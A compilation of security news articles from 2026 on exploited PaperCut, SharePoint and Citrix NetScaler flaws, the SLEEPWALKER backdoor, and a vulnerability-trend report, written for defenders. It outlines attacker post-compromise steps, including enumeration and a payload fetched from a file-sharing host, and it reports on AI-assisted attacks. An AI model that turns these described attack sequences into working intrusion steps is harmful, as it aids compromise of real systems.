Attacks exploiting two recently discovered PaperCut NG/MF vulnerabilities have escalated, with threat actors shifting from reconnaissance to hands-on-keyboard activity. PaperCut first warned users of its NG and MF print management solutions about an actively exploited zero-day vulnerability on August 27. It later emerged that threat actors have been chaining two flaws in their attacks. The vulnerabilities are tracked as CVE-2026-82078 and CVE-2026-81578, and they can be exploited by unauthenticated attackers to bypass authentication and achieve remote code execution on affected PaperCut NG/MF instances. The vendor quickly rolled out two emergency patches — one after the first was bypassed — and is working on an official release that addresses both vulnerabilities. In the meantime, attacks are escalating, according to exposure management firm WatchTowr, whose researchers have been monitoring the situation. “Activity has significantly evolved, and it did so quickly — we are no longer seeing purely exploratory probes to identify vulnerable systems, but real-world exploitation accompanied with hands-on-keyboard interaction from human attackers exploring systems they’ve compromised,” Jake Knott, head of threat intelligence at WatchTowr, said via email. “As part of this activity, it’s noteworthy that this appears to be ‘above average’ (the bar still being very low) in terms of sophistication — some designed purely to facilitate external to internal network pivoting and continue attacks,” Knott added. “Attackers are, as always, being selfish — keying access to their deployed in-memory payloads to ensure that only they are able to access compromised hosts and continue further. This behavior is reflective of initial access brokers, and other more aggressive-outcome type operators.” PaperCut’s updated indicators of compromise (IoCs) also indicate attack escalation, specifically the deployment of remote access tools on targeted systems. Technical details on CVE-2026-82078 and CVE-2026-81578 are also available from security firms Huntress and Rapid7. The cybersecurity agency CISA added CVE-2026-82078 and CVE-2026-81578 to its Known Exploited Vulnerabilities (KEV) catalog on Monday. Federal agencies have been instructed to address the flaws by September 14. More than 1,000 PaperCut NG/MF instances are exposed to the internet, according to data from ShadowServer. “If exposed to the Internet and unpatched at any stage in the last few days, systems should be assumed compromised by an active attacker who is combing through vulnerable hosts looking for interesting or valuable targets,” WatchTowr’s Knott warned. “And if you haven’t already, now is the time to trigger incident response processes. Patching alone will lock out new attackers while allowing existing attackers to maintain access and go further.” Related: Nightmare Eclipse Drops ‘HardBreacher’ Kaspersky Product Exploit Related: ServiceNow Patches 3 Critical Code Injection Vulnerabilities Related: Critical Ruby on Rails Vulnerability in Attackers’ Crosshairs

Attackers plant remote access tools on compromised PaperCut servers The threat actor targeting internet-facing PaperCut Application Servers is covertly installing legitimate remote access software on them, PaperCut Software shared in the most recent update on the ongoing attack campaign. PaperCut zero-days exploited to deploy remote access tools The vendor first warned of in-the-wild compromises on August 27, 2026, when it urged customers using the PaperCut NG and MF print management solutions to “immediately restrict web access to trusted IP addresses only.” At the time, PaperCut believed the threat actor exploited a previously unknown vulnerability to gain access and control over the solutions’ Application Server, but their investigation later revealed they leveraged two zero-day vulnerabilities: CVE-2026-81578, an improper access control vulnerability in the web management interface of PaperCut MF and PaperCut NG CVE-2026-82078, an unsafe dynamic class loading vulnerability in the database connection utilities of the two solutions Chained together, the two flaws allowed the unauthenticated threat actor to bypass authentication, modify certain system configurations, and execute arbitrary Java bytecode under the security context of the PaperCut server process. With the help of a university customer’s security and digital forensics and incident response teams, PaperCut Software reproduced the vulnerabilities, and pushed out emergency patches on August 28. Later that same day, the vendor published a second round of emergency patches (with “additional hardening developed with internal security and external researchers”) and urged customers to apply them even if they had already applied the initial ones. On August 30, they followed up by extending the initial list of provided indicators of compromise and shared a command sequence that shows what the attackers are doing after gaining access to the Application Servers: They list users and their privileges and running processes Enumerate domain controllers in the domain List logged-on user sessions Download a malicious payload from a file-sharing host (sendit.sh) into C:\ProgramData Silently install and run the payload, which installs SimpleHelp remote access software and sets it up to auto-start, and checks that it’s running Download AnyDesk to establish a second, redundant remote access channel “As every customer environment is unique, it is difficult to identify a single consistent pattern of post-compromise activity, but observed behaviour includes the pc-app.exe (or pc-app) process launching child shell processes (cmd.exe) and running whoami & ver, with endpoint protection in some cases preventing further execution and isolating the machine,” PaperCut noted. In cases where execution was not prevented, the attackers performed the above listed actions that ended with AnyDesk being installed. Since PaperCut’s initial disclosure, Rapid7 published a technical overview of the vulnerabilities, watchTowr researchers discovered multiple patch bypasses and identified an additional authentication bypass vulnerability, which they reported to PaperCut. Huntress analysts found evidence of exploitation in two customer environments, but the exploitation activity was limited. In one of the cases, the exploited instance was running PaperCut MF version 24.1.5.71847. What should customers do? The initial round of emergency patches for PaperCut NG and MF were made available only for the v25 and v26 branches, but the second one includes patches for the v24 branch. Huntress researchers noted that “47% of the approximately 2,500 PaperCut installations Huntress tracks are running v23 or older, for which no patch is currently available.” PaperCut advises customers running PaperCut NG/MF versions older than v24 to upgrade to the latest version. “Site Servers and secondary/print servers should be updated to a patched version, not just the primary Application Server. Other components such as Print Deploy and Mobility Print are not affected and do not need to be updated,” the vendor added. Huntress advises users to: Preserve forensic evidence before updating Implement the provided emergency updates and restrict web access to PaperCut Application Server to trusted IP addresses Review the preserved logs for known indicators of compromise “We recommend checking for the presence of a Windows service named ‘Remote Access Service’ running SimpleService.exe from the [C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\restricted\ path], and for unexpected AnyDesk installations, as potential indicators of post-compromise remote access tooling,” PaperCut advised. But, they also pointed out that the absence of already shared indicators of compromise doesn’t mean a system has not been affected. “PaperCut will publish validated, specific indicators and further guidance here as soon as they are available,” they added. “If you suspect your server has been compromised, we recommend securing current server backups, completely wiping and rebuilding the Application Server, and restoring a clean backup taken before any suspicious behavior was detected. Additionally, you should activate your organization’s security response procedures and follow standard incident protocols.” The attackers’ ultimate goal remains unknown. Three years ago, Clop and LockBit affiliates exploited two known PaperCut vulnerabilities to compromise servers and deploy ransomware. This time the flaws were zero-days rather than known bugs, but today’s attackers have an additional edge: AI tools that can help them analyze target software, surface previously unknown vulnerabilities, and write working exploits. Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!

Attackers are now targeting a chain of two Microsoft SharePoint vulnerabilities that can allow them to execute arbitrary code on unpatched servers, according to threat intelligence company Defused. The first (tracked as CVE-2026-55040) is an authentication bypass flaw in the JWT token validation pipeline that attackers without privileges can exploit to perform operations as a SharePoint site user or administrator. The second (CVE-2026-63520) is a vulnerability in SharePoint's Business Connectivity Services (BCS) that unauthenticated attackers can chain after successfully exploiting CVE-2026-55040 for remote code execution (RCE) on a targeted SharePoint Server. Both flaws have publicly available proof-of-concept (PoC) exploits, released by Rapid7 security researcher Stephen Fewer on August 11 (for CVE-2026-55040, representing the first part of the exploit chain) and by VulnCheck vulnerability researcher Jonathan Peterson on August 24 (for CVE-2026-63520). One day after the CVE-2026-55040 PoC exploit was published online, Defused reported that Rapid7's exploit code had already been weaponized in attacks. Roughly two weeks later, on August 25, the cybersecurity company said that threat actors are now chaining the SharePoint authentication bypass and RCE flaw in attacks targeting its honeypots. "We're seeing the SharePoint CVE-2026-55040 + CVE-2026-63520 RCE chain probed in our honeypots," Defused warned on Tuesday. "The JWT bypass (55040) was exercised, followed by heavy admin enumeration and probing of the Business Data Catalog sink behind CVE-2026-63520. No code execution observed yet. Internet security non-profit Shadowserver now tracks more than 8,700 Microsoft SharePoint servers exposed online. However, no details are available on how many are honeypots set up to catch exploitation attempts or how many have already been secured against attacks targeting these flaws. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has already ordered federal agencies and network defenders on August 18 to secure their SharePoint servers against ongoing CVE-2026-55040 attacks. While Microsoft has labeled the CVE-2026-63520 security flaw as an attractive target for threat actors, it has yet to tag it as exploited in the wild. On July 15, CISA also warned network defenders to secure their servers against attackers who are actively exploiting three vulnerabilities (CVE-2026-32201, CVE-2026-45659, and CVE-2026-56164) to compromise Internet-exposed on-premises SharePoint Server instances. The cybersecurity agency urged security teams to review Microsoft's official SharePoint Server security-hardening guidance and to avoid directly exposing SharePoint servers on the Internet unless necessary. On Tuesday, it also confirmed that the CVE-2026-45659 SharePoint remote code execution vulnerability, flagged as exploited in the wild since early July, is now also being exploited in ransomware attacks. Since November 2021, CISA has flagged 15 actively exploited Microsoft SharePoint flaws, eight of them also exploited by ransomware gangs. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

An independent malware researcher has documented a previously unreported Windows backdoor, dubbed SLEEPWALKER, that stays inert in memory until a specifically crafted network packet reaches the machine and then runs commands written in a 23-instruction language of its own design. The sample is an unsigned 64-bit Windows dynamic-link library (DLL) of 59,904 bytes, built to be side-loaded into ERAAgent.exe, the Windows executable for ESET Management Agent. It impersonates Microsoft's dpapi.dll, exporting the same seven data protection functions as the genuine system library, and carries a version resource copied from ESET Management Agent. There are no domains, IP addresses or URLs built into the file, and it makes no outbound connection of its own, so an infected host can look clean to tooling that watches for connections to known-bad infrastructure. Commands arrive as bytecode rather than readable text, so recovering the encryption key yields opcodes in a format that exists nowhere but inside this one file. Dominik Reichel, a former Palo Alto Networks Unit 42 malware researcher, said the approach is "consistent with a targeted, well-resourced operation rather than an opportunistic one." The assessment rests on a single binary supplied with no collection context, and Reichel could not attribute the sample to any known actor, establish a victim, an industry, or a country, or determine whether the sample was ever deployed. Its embedded configuration decrypts using AES-256-CCM into a single instruction that tells the backdoor to monitor every network interface indefinitely for that packet. The listener captures everything crossing each watched interface, including traffic addressed to other machines. A gateway, VPN server or host bridging two network segments could therefore see a trigger meant for a different machine entirely. SLEEPWALKER checks only the host process name, not its signature or path. Writing the file into that directory requires local administrator rights that an operator must already hold, and the backdoor relies on the security context of its host process rather than obtaining those rights itself. The backdoor is therefore a post-compromise implant rather than an entry point, and how an operator first reached the machine and wrote the DLL into that directory remains unknown. Side-loading is also its only persistence mechanism, and the DLL loads again each time the ESET Management Agent service starts. The side-loading relies on Windows DLL search order rather than a flaw in ESET's software, so there is nothing to patch, and the response to a confirmed match is incident response and a rebuild. ESET's products have been abused for side-loading before, including by ToddyCat, which Kaspersky said exploited a search-order flaw in the company's command-line scanner to load a malicious DLL into ESET. The Hacker News has reached out to ESET for comment on whether it has telemetry on the sample and will update this story with any response. ESET has issued no advisory or public statement on the malware as of August 26. The 23 instructions cover scheduling, several ways to move data, staged file delivery verified against a SHA-256 hash before it runs, and executing code directly in memory. They ride on six transports, comprising TCP, UDP, ICMP, SMB named pipes with credentialed lateral movement, raw promiscuous capture, and VMware's Virtual Machine Communication Interface (VMCI). VMCI traffic passes through the virtualization layer rather than a network adapter, so a packet capture taken between two machines misses it entirely. UNC3886 used VMCI sockets for persistence between compromised ESXi hosts and their guest virtual machines in intrusions documented by Mandiant. No instruction in the language writes to disk, so anything the backdoor expects to find on a compromised machine has to be placed there by another component. Two of the instructions watch for the trigger. The opcode stored in the analyzed sample enables only the raw-packet listener. At the same time, a second opcode also enables a DNS-based trigger implemented in the binary but not active in this build. To let unauthenticated callers reach its named-pipe channel, SLEEPWALKER sets the EveryoneIncludesAnonymous registry value and adds its pipe name to NullSessionPipes. Its cleanup routine records whether its own write to NullSessionPipes succeeded rather than whether an entry was already present, so a removal can delete a legitimate entry that predates the infection. Reichel published the following host indicators - An unexpected dpapi.dll beside ERAAgent.exe An unexpected dpapisvc.dll in the same directory SHA-256: d347170752a28e2b8c4b8b9f3cab2e3a6541ba11682c94498d26eb9002779d60 MD5: 2318327b29bb1c0e2d2b5f0211fc7fac EveryoneIncludesAnonymous set to 1 An unexpected entry in NullSessionPipes The two registry values carry weight only against a known-good baseline. The writeup ships a YARA rule and a read-only PowerShell scanner that checks those indicators across an estate. Reichel said detection coverage for the file was low at publication, without stating a basis for that assessment. He noted that the YARA rule keys partly on a static AES key and on compiled protocol code, which a rebuild with different compiler settings could break. The Hacker News found no public release of the analysis toolkit or the mitigation guide described in the post on Reichel's site or his GitHub profile as of August 26. Reichel said anyone who believes they have been targeted should contact him directly. Magic-packet implants of this kind have surfaced on Linux systems, including Red Menshen's use of passive backdoors like BPFDoor inside telecom operator networks, as documented by Rapid7.

Vulnerabilità in prodotto Rapid7 Alert AL01/260824/CSIRT-ITA Sintesi Rilevata una nuova vulnerabilità di gravità “alta” nel software Velociraptor, noto strumento open source per il monitoraggio, l'analisi forense e la risposta agli incidenti sugli endpoint. Tale vulnerabilità, qualora sfruttata, potrebbe consentire ad un utente malintenzionato la modifica non autorizzata di dati o codice sul sistema interessato. Tipologia Tampering Prodotti e/o versioni affette Rapid7 Velociraptor versioni precedenti alla 0.77.2

Week in review: Records allegedly stolen from Azure tenants, Medusa ransomware hits 500+ orgs Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: Windows 11’s strongest security defenses can be bypassed without a screwdriver Researchers from the University of Birmingham and Durham University have found a way to knock down some of the toughest protections in Windows 11 without physically opening or modifying the target machine. The attack assumes the attacker has already gained privileged access to the system. Police bust cybercrime ring accused of stealing €30 million in four-day spree German and Brazilian police dismantled an international bank fraud ring blamed for a €30 million cyberattack on a German financial institution, arresting four people in Brazil and pursuing three more suspects in Spain and Bulgaria. SafePal breach affects 39,798 customers, data allegedly for sale Cryptocurrency wallet maker SafePal disclosed a data breach that exposed order information for 39,798 customers, including names, email addresses, shipping addresses, phone numbers and purchase details. The company traced the exposure to an authorization flaw in a plug-in used for order tracking. Under certain conditions, the flaw let one customer view another customer’s order information. Attackers exploit patched macOS Screen Sharing flaw to deploy cryptominer A recently patched security flaw in Apple macOS is being actively exploited by hackers to bypass authentication, gain root access, and install a cryptominer, the Netherlands’ National Cyber Security Centre (NCSC) warns. France’s tax authority admits hackers made off with data on 678,000 individuals France’s tax authority has disclosed a data breach after an attacker accessed the General Directorate of Public Finances (DGFiP) systems, saying the intrusion exposed data on 678,000 individuals and professionals. The incident came to light after an alleged attacker using the alias “ZeroBytes” took credit on a cybercrime forum and listed a stolen database for sale. Hacker claims millions of records stolen from corporate Azure tenants A threat actor known as “TheHatman” claims to have obtained millions of employee records from the Azure environments of several Fortune 500 companies, including McDonald’s, Vodafone, Kyndryl, and Tata Consultancy Services (TCS), according to Hudson Rock. Critical GitLab flaw allows attackers to modify or delete public projects (CVE-2026-19478) GitLab has released patches for two vulnerabilities, including a critical-severity code injection flaw that can be exploited without authentication. The vulnerabilities affect GitLab Community Edition (CE) and Enterprise Edition (EE) versions from 18.2 before 18.11.11, 19.0 before 19.0.8, 19.1 before 19.1.6, and 19.2 before 19.2.4. ChatGPT’s new feature could give infostealers a map of your Mac activity OpenAI’s new Computer History feature turns recent Mac computer activity into memories ChatGPT and Codex can use, and it’s raising questions about privacy and security along the way. Computer History builds a timeline out of everyday computer use, grouping activity into summaries and noting which apps and websites contributed to each one. Cyberattack forces UT San Antonio to delay start of fall semester The University of Texas at San Antonio pushed back the start of its fall semester by three days after a cyberattack targeted its academic network over the weekend. Classes that were due to begin on Wednesday, August 19 will now start on Monday, August 24. Google’s AI security agents found 100+ critical software vulnerabilities in just two days Google’s Mandiant has disclosed the workings of an internal tool that uses chains of AI agents to hunt for vulnerabilities in source code, saying it found over 100 verified, high-severity flaws in just two days during a live investigation into stolen corporate repositories. Medusa ransomware gang has hit over 500 organizations, CISA warns Medusa ransomware has breached more than 500 organizations since it first appeared in June 2021, the FBI, CISA, and the Department of Health and Human Services (HHS) said in an updated joint advisory. The update builds on an advisory first issued in March 2025 and draws on FBI investigations conducted as late as April 2026. Researchers find a loophole that lets expired credit cards make unauthorized payments A team from the University of Massachusetts Amherst has shown that a contactless credit card keeps working past its printed expiration date, even after the cardholder gets a replacement. They named it the Zombie Card attack and presented the findings at USENIX Security 2026. US charges 17 Iranian hackers over 31-terabyte academic data theft The U.S. has charged 17 alleged members of Mabna Institute, an Iranian hacking-for-hire company accused of running a years-long campaign that stole data from American universities, companies, and government agencies. The Southern District of New York case adds eight names to the nine already charged back in 2018. US agencies warn of AI-powered attacks on Siemens industrial controllers Threat actors are using AI to write exploit scripts targeting internet-exposed Siemens S7 Series programmable logic controllers (PLCs) used across water, energy, manufacturing, and other critical infrastructure sectors, according to US federal agencies. Fake Gemini installer delivers Vidar infostealer via Google Colab lure A malicious executable masquerading as a Google Gemini installer was used to deliver the Vidar infostealer on a company network in the EMEA region, according to Darktrace researchers who investigated the incident. A $25 template helped scammers build hundreds of phantom bank domains A phrase on a suspicious website turned into an investigation of phantom banks built to support scams, according to new research from Allure Security. Molly DeQuattro, the company’s VP of Operations, was reviewing a domain that resembled the brand of one of its financial services clients. The page carried none of that client’s branding. It presented an unrelated bank instead. Citrix urges customers to fix critical NetScaler authentication bypass (CVE-2026-19490) Citrix has patched two vulnerabilities in NetScaler ADC and NetScaler Gateway, including a critical authentication bypass flaw tracked as CVE-2026-19490, and is urging customers to upgrade affected appliances as soon as possible. Attackers impersonate popular AI brands to spread malware Attackers are impersonating popular AI brands like Perplexity, Claude, ChatGPT, and Copilot to spread information stealers, backdoors, malicious browser extensions, and other malware, according to Sophos. Critical Microsoft Entra ID vulnerability exploited in the wild (CVE-2026-69836) Microsoft has patched a critical remote code execution vulnerability (CVE-2026-69836) in Entra ID, reportedly exploited in the wild. Entra ID is Microsoft’s cloud identity service, formerly Azure Active Directory, that verifies logins and controls access to Microsoft 365, Azure, and connected third-party apps. A hollowed out data layer is making CISOs fly blind into AI attacks The security industry is currently transitioning to an era where both offense and defense are AI-led, and every SOC operates at machine speed. However, what most CISOs have not yet reckoned with is that the AI defenders they are about to deploy will inherit a data foundation that two years of ingestion cost pressure has quietly hollowed out. The result is a security industry heading into an AI era with less visibility than it had five years ago. Download: 2026 Credential Risk Report 85% of cybersecurity professionals consider compromised credentials a primary attack path—yet only 19% continuously monitor active credentials and automatically remediate exposure. The 2026 Credential Risk Report examines where credential security programs fall short and what it takes to move toward Continuous Credential Defense. When companies get specific about AI, revenue growth looks different Companies that provide specific evidence of how they use AI tend to record stronger revenue growth. Researchers at Carnegie Mellon University and Larridin examined a study universe of 564 companies across 12 industry sectors. Individual analyses used smaller samples depending on data availability. Product showcase: ScamNet looks for warning signs in suspicious calls and shady links ScamNet: Anti-Scam Suite is a consumer security app from Synaptrex Technologies that helps users detect and block scams involving phone calls, text messages, websites, and other suspicious content. The app is available for iPhone, iPad, and Mac, with features varying by platform. Call protection is available on iPhone, while tools such as Visual Intelligence are supported on iPhone and iPad. The app is free with optional ScamNet+ subscriptions. Hazmat: Open-source containment for AI agents Hazmat is an open-source tool that runs AI coding agents inside a separate account on your own machine. It wraps the harnesses people use: Claude Code, Codex, OpenCode, Cursor Agent, and several more, plus any script you write yourself. Attackers turn to AI for help identifying files worth stealing AI tools are being used by cyber attackers to write malicious code, build tools that harvest credentials, search compromised networks, identify valuable business information, manage technical infrastructure and generate commands during intrusions. Gambit Security researchers examined three unrelated threat actors that show how AI can support different stages of a cyberattack. Google’s open-source HEIR lets AI work with data it can’t see Google’s researchers and engineers developed the Homomorphic Encryption Intermediate Representation (HEIR) compiler project, an open-source compiler toolchain and development platform for homomorphic encryption. It can convert pre-trained AI models designed to operate on unencrypted data into models that process encrypted inputs. OpenAI tightens defenses after AI agents breach research environment Following the OpenAI-Hugging Face incident, in which an agentic collective autonomously penetrated OpenAI’s research infrastructure and another company’s production infrastructure by chaining together multiple weaknesses, OpenAI began strengthening its safety requirements. The weaknesses included previously unknown vulnerabilities and credentials leaked online. Google’s $10,000 refund test shows why AI agents need zero trust Google’s open-source autonomous Customer Support & Returns Agent, built using the Agent Development Kit (ADK) and Gemini, demonstrates how developers can apply zero-trust security principles to AI agents that interact with sensitive systems and take real-world actions. Banks look for fraud signals in customer behavior Banks are dealing with more fraud in which customers authorize payments after being manipulated by criminals. ThreatMark’s Fraud Readiness Benchmark 2026 describes a banking environment where social engineering, reimbursement requirements and growing case volumes are changing fraud operations. OpenAI puts major frontier AI training run on hold over cyber risks OpenAI temporarily paused reinforcement learning (RL) training on its latest models intended for deployment for two weeks while it hardened and red-teamed research environments and expanded monitoring. The move followed the OpenAI-Hugging Face incident and preliminary evidence that the company’s upcoming Astra model may meet the Critical cybersecurity capability threshold under its Preparedness Framework. 8,539 reasons to rethink how vulnerabilities get patched The window for responding to newly disclosed security flaws is getting shorter. Exploit code can appear quickly, exploitability can be tested soon after disclosure, and organizations have a growing number of weaknesses to sort through. Rapid7’s Q2 2026 Threat Landscape Report counted 8,539 high- and critical-severity vulnerability disclosures, twice the number recorded a year earlier. AI is making fraud harder to spot and identity harder to prove Online fraud has become a routine concern for consumers and businesses that rely on digital accounts, payments and customer service. Experian’s 2026 U.S. Identity & Fraud Report describes a market where scams extend across messages, websites, documents, voices, images and account activity. OpenAI previews privacy-focused system for detecting AI misuse OpenAI is previewing Private Safety Processing with early customers seeking greater certainty about how their data will be protected as AI systems become more capable. The system identifies patterns across related interactions while restricting OpenAI personnel from accessing the underlying content. The company plans to start rolling it out and publish a technical white paper in September. AWS limits AI agents’ data access, even when manipulated AWS has detailed an approach for propagating user authorization context through AI agents, allowing access controls to be enforced by infrastructure and downstream services rather than relying on the agent itself. Nearly half of enterprises have no one leading PQC migration Enterprises believe they are prepared for the security challenges posed by quantum computing, but gaps in ownership, testing and visibility could complicate their transition to post-quantum cryptography (PQC), according to new research from Axiad. Cybersecurity jobs available right now: August 18, 2026 We’ve scoured the market to bring you a selection of roles that span various skill levels within the cybersecurity field. Check out this weekly selection of cybersecurity jobs available right now. New infosec products of the week: August 21, 2026 Here’s a look at the most interesting products from the past week, featuring releases from F5 Networks, Intezer, Netscout, and Tufin.

Citrix urges customers to fix critical NetScaler authentication bypass (CVE-2026-19490) Citrix has patched two vulnerabilities in NetScaler ADC and NetScaler Gateway, including a critical authentication bypass flaw tracked as CVE-2026-19490, and is urging customers to upgrade affected appliances as soon as possible. “We strongly recommend that customers review the official NetScaler ADC and NetScaler Gateway security bulletin, assess whether their deployments are affected, and upgrade impacted appliances to the recommended builds as soon as possible,” Anil Shetty, senior VP of Engineering with Cloud Software Group (Citrix’s parent company), warned on Wednesday. “The bulletin applies to supported versions of customer-managed NetScaler ADC and NetScaler Gateway, including certain FIPS and NDcPP builds. SecurAccess ZTNA Hybrid (formerly Secure Private Access Hybrid) deployments that use customer-managed NetScaler instances are also affected and should be upgraded to the recommended builds,” added Shetty. Rapid7 said it had not observed exploitation of CVE-2026-19490 as of August 19, 2026, but urged organizations to “prioritize patching affected systems on an emergency basis,” since Citrix products tend to draw quick exploitation once flaws become public. The vulnerabilities (CVE-2026-19489, CVE-2026-19490) CVE-2026-19490 is the more concerning of the two, with a CVSS v4.0 score of 9.3. It allows an attacker to bypass login checks using an alternate path, but only under specific conditions. The appliance has to be configured as a Gateway, covering SSL VPN, ICA Proxy, CVPN, or RDP Proxy, or as an AAA virtual server. Whether it is exposed also depends on the firmware version and whether a SAML action is configured. On older firmware, the Gateway or AAA configuration alone is enough to meet the precondition, without SAML being configured. The exact version thresholds differ between standard and FIPS builds. Security teams can check whether they meet the precondition by searching their NetScaler configuration for “add authentication samlAction” to spot a SAML action setup, or for “add authentication vserver” and “add vpn vserver” to spot an Auth or VPN virtual server. “Additionally, this vulnerability can be mitigated by using signatures if you are using NetScaler Console (Service or on-prem) and if the NetScaler firmware version is higher than 14.1-60.52 and 13.1-63.16 or higher which have a feature called Global Deny Lists which consumes the signatures and automatically applies the signatures to NetScaler appliances managed via NetScaler Console,” noted Shetty. The second flaw, CVE-2026-19489, is a memory overflow issue with a CVSS v4.0 score of 8.8 that can cause unpredictable behavior or denial of service. It only applies when SIP ALG is enabled on a Large Scale NAT group setup, another narrow precondition. Security teams can check exposure to the second flaw by searching their configuration for “add lsn group” combined with “sipalg”. The vulnerabilities affect: NetScaler ADC and NetScaler Gateway 14.1 BEFORE 14.1-73.32 NetScaler ADC and NetScaler Gateway 13.1 BEFORE 13.1-63.21 NetScaler ADC FIPS BEFORE 14.1-73.32 FIPS NetScaler ADC FIPS and NDcPP BEFORE 13.1-37.277 “Once you upgrade a NetScaler in an ICA proxy setup to version 14.1-72.16 (or 13.1-63.18) or later, any ICA session that attempts to reconnect using a session ticket issued by the older (pre-upgrade) version is dropped. As a result, users must launch the session again. This is a security measure and not an after effect of upgrade activity,” Shetty explained. At the time of Citrix’s advisory, the NetScaler images listed on AWS, Azure, and GCP marketplaces had not been refreshed with the patched builds.

Citrix on Wednesday announced patches for two vulnerabilities in NetScaler ADC and NetScaler Gateway, including a critical-severity flaw. The critical bug, tracked as CVE-2026-19490 (CVSS score of 9.3), is described as an authentication bypass using an alternative path, and impacts NetScaler appliances configured as a gateway (SSL VPN, ICA Proxy, CVPN, RDP Proxy) or an AAA virtual server. It can be exploited by remote, unauthenticated attackers without user interaction, cybersecurity firm Rapid7 says. Per Citrix’s advisory, the security defect impacts NetScaler ADC and NetScaler Gateway versions 14.1-43.56 or later, 14.1-66.68-FIPS or later, 14.1-43.55 or earlier, 13.1-61.28 or later, 13.1-61.27 or earlier, and 13.1 FIPS. NetScaler ADC and Gateway versions 14.1-73.32, 13.1-63.21, 14.1-73.32 FIPS, and 13.1-FIPS and 13.1-NDcPP 13.1-37.277 contain fixes for this flaw and for CVE-2026-19489, a high-severity memory overflow issue that could lead to unexpected behavior or denial-of-service (DoS) if SIP ALG is enabled at an LSN group configuration. “Secure Private Access Hybrid deployments using NetScaler instances are also affected by the vulnerabilities. Customers need to upgrade these NetScaler instances to the recommended NetScaler builds to address the vulnerabilities,” Citrix says. According to Rapid7, there are no indicators that threat actors are exploiting the authentication bypass issue, but NetScaler’s critical role within enterprise systems makes it an attractive target for hackers. “NetScaler ADC and NetScaler Gateway are widely deployed enterprise networking products commonly positioned at or near the network perimeter. NetScaler ADC provides application delivery, traffic management, load balancing, SSL/TLS offloading, and application security capabilities, while NetScaler Gateway provides secure remote access and VPN functionality,” the cybersecurity firm notes. Rapid7 expects threat actors to exploit the critical bug shortly, given that NetScaler appliances are typically deployed in enterprise DMZs and are publicly accessible. “Organizations should prioritize patching affected systems on an emergency basis, since Citrix products are high-value targets that tend to quickly see exploitation in the wild,” the company says. Related: Critical GitLab Flaw Exploited Shortly After Disclosure Related: Citrix Patches NetScaler Vulnerabilities, Including New ‘HTTP/2 Bomb’ Attack Related: Exploitation of Fresh Citrix NetScaler Vulnerability Begins Related: 943 Patches Rolled Out With Oracle’s August 2026 Security Update

8,539 reasons to rethink how vulnerabilities get patched The window for responding to newly disclosed security flaws is getting shorter. Exploit code can appear quickly, exploitability can be tested soon after disclosure, and organizations have a growing number of weaknesses to sort through. Rapid7’s Q2 2026 Threat Landscape Report counted 8,539 high- and critical-severity vulnerability disclosures, twice the number recorded a year earlier. Source: Rapid7 The increase adds pressure to a patching process that requires teams to decide which problems deserve immediate attention. A vulnerability’s severity score can help with that decision, but exposure and reachability also matter. A flaw on an internet-facing system can present a different security problem from one that attackers cannot readily reach. “Security teams are chasing ghosts if they think they’re ‘secure’ just by closing tickets based on CVSS scores. We’re drowning in a deluge of disclosures, and the gap between a patch existing and an exploit being weaponized has collapsed to near zero,” said Christiaan Beek, Vice President, Rapid7 Labs. “If you’re still relying on periodic patch cycles while your adversary is automating their kill chain, you aren’t managing risk, you’re just subsidizing the attackers’ R&D. Stop collecting CVEs and start focusing on the exposures that actually matter.” Attackers have increasing access to publicly available information and tools that can help them test newly disclosed weaknesses. The number of newly disclosed vulnerabilities with publicly available proof-of-concept code increased 76% compared with Q2 2025, adding to the pool of vulnerabilities that may be easier to test or weaponize. Some flaws require little from the victim Of the newly exploited vulnerabilities tracked during the quarter, 62% were network-exploitable and required neither authentication nor user interaction. These weaknesses can give an attacker a route into a vulnerable system without first obtaining login credentials or convincing someone to open a file or click a link. The share increased from the same period a year earlier. Internet-facing devices deserve particular attention in this environment. VPN systems, remote access gateways, web servers, routers, and other exposed infrastructure can provide an entry point when vulnerable software is reachable from the internet. Organizations can reduce that exposure by maintaining an accurate inventory of externally accessible systems, identifying vulnerabilities that are reachable and enforcing authentication on exposed endpoints. Attackers are going after people Fake CAPTCHA and ClickFix techniques accounted for 31.8% of observed incident response cases during the quarter. These attacks commonly present users with instructions that appear to solve a browser problem or complete a verification step. Following those instructions can lead to malicious commands being run on the device. Social engineering activity has also moved into Microsoft Teams. That gives attackers another place to approach employees using communication that can appear to come through a familiar workplace service. Once access is established, attackers continue to focus on escalating privileges and moving deeper into networks. Credential harvesting, abuse of remote management tools and exploitation of public-facing software remain common techniques. Ransomware remains part of the workload The United States recorded 881 listed ransomware victims during the quarter, the largest number of any country and roughly nine times the 99 recorded in Germany. India recorded 35 listed victims and Thailand 15. Business services and healthcare were identified as the top targeted sectors. State-aligned groups tied to Iran, North Korea, and Russia carried out sustained campaigns involving finance, government, energy, manufacturing, technology, healthcare, telecom, digital infrastructure, education, and defense. Russian-linked APT28 activity included exploitation of small office and home office routers for DNS hijacking, which can expose authentication tokens and passwords. Iranian activity included targeting of industrial control and operational technology systems in the United States. Exploits are circulating underground Underground markets provide another channel for vulnerability information and access. Monitoring during the quarter identified exploit and access listings across 20 underground sources. Most of the vulnerabilities observed being traded already had publicly available proof-of-concept code, while some were listed in the U.S. Cybersecurity and Infrastructure Security Agency’s Known Exploited Vulnerabilities catalog. A large majority were also classified as network-exploitable vulnerabilities requiring no authentication or user interaction. Internet-facing edge appliances remain a particular area of concern. Recommended measures include inventorying and patching SSL-VPN systems, RDP gateways and web servers, rotating credentials, and enforcing MFA on remote-access paths. Teams can cross-reference vulnerabilities appearing during disclosure spikes with their asset inventories. There is a widening gap between the number of vulnerabilities being disclosed and the number security teams can triage. Prioritization depends on knowing which systems are exposed to the internet, which vulnerabilities are reachable and which access paths could provide a route into the network. That context can help organizations determine where patching and other security measures require attention first, instead of treating every newly disclosed vulnerability as an equal priority.